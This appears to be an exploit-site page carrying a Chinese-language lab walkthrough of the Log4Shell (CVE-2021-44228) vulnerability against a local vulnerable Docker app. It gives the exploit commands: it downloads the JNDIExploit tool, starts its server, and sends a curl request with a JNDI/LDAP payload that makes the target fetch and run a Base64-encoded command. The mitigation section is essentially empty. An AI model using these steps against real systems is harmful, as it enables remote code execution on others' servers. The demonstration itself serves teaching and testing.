## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FERYAELJUSTICE-LOG4SHELL
# Log4Shell
本仓库用于演示和缓解 Log4j 2021(CVE-2021-44228)漏洞。
## 什么是 Log4Shell?
CVE-2021-44228 / Log4Shell 漏洞的原理是向易受攻击的软件注入恶意负载,该负载会通过 JNDI 并借助 LDAP 协议,诱使 Log4J 从第三方来源获取值。……导入的数据可以是代码,Log4J 会在系统上执行这些代码。
## 概念验证(视频教程)
1. 我们在 Docker 中运行一个易受 CVE-2021-44228 攻击的 Spring Boot Web 应用程序,该应用被 @christophetd 昵称为 Log4Shell。 它使用 Log4j 2.14.1(通过 spring-boot-starter-log4j2 2.6.1)和 JDK 1.8.0_181。 `docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app`  
2. 我们在此案例中从 web archive 下载用于 Log4Shell 的 JNDI Exploit,但您也可以从任何可用的地方下载它。 `wget https://web.archive.org/web/20211211031401/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip`  
3. 我们获取运行 Log4Shell 应用程序 Docker 的机器的 IP 地址。 `ifconfig` 
4. 我们解压包含用于 Log4Shell 的 JNDI Exploit 的 zip 文件,从而获得 JAR,然后执行它并填入我们在步骤 3 中获取的 IP。
root@kitploit:~
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888

5. 然后,使用以下命令触发漏洞利用: `curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'` 
* 我们看到与我们的机器建立了一个 JNDI 连接,并且可以看到 Log4J 执行的代码。 
6. 为了确认代码执行成功,请注意运行易受攻击应用程序的容器中已创建了文件 /tmp/pwned.txt。 `docker exec vulnerable-app ls /tmp` 
## 缓解措施
关于如何在 Windows 和 Linux 中缓解 Log4Shell 漏洞的视频:缓解措施
#### Linux 中的缓解措施(示例图片)

## 作者
Feryael Justice 2022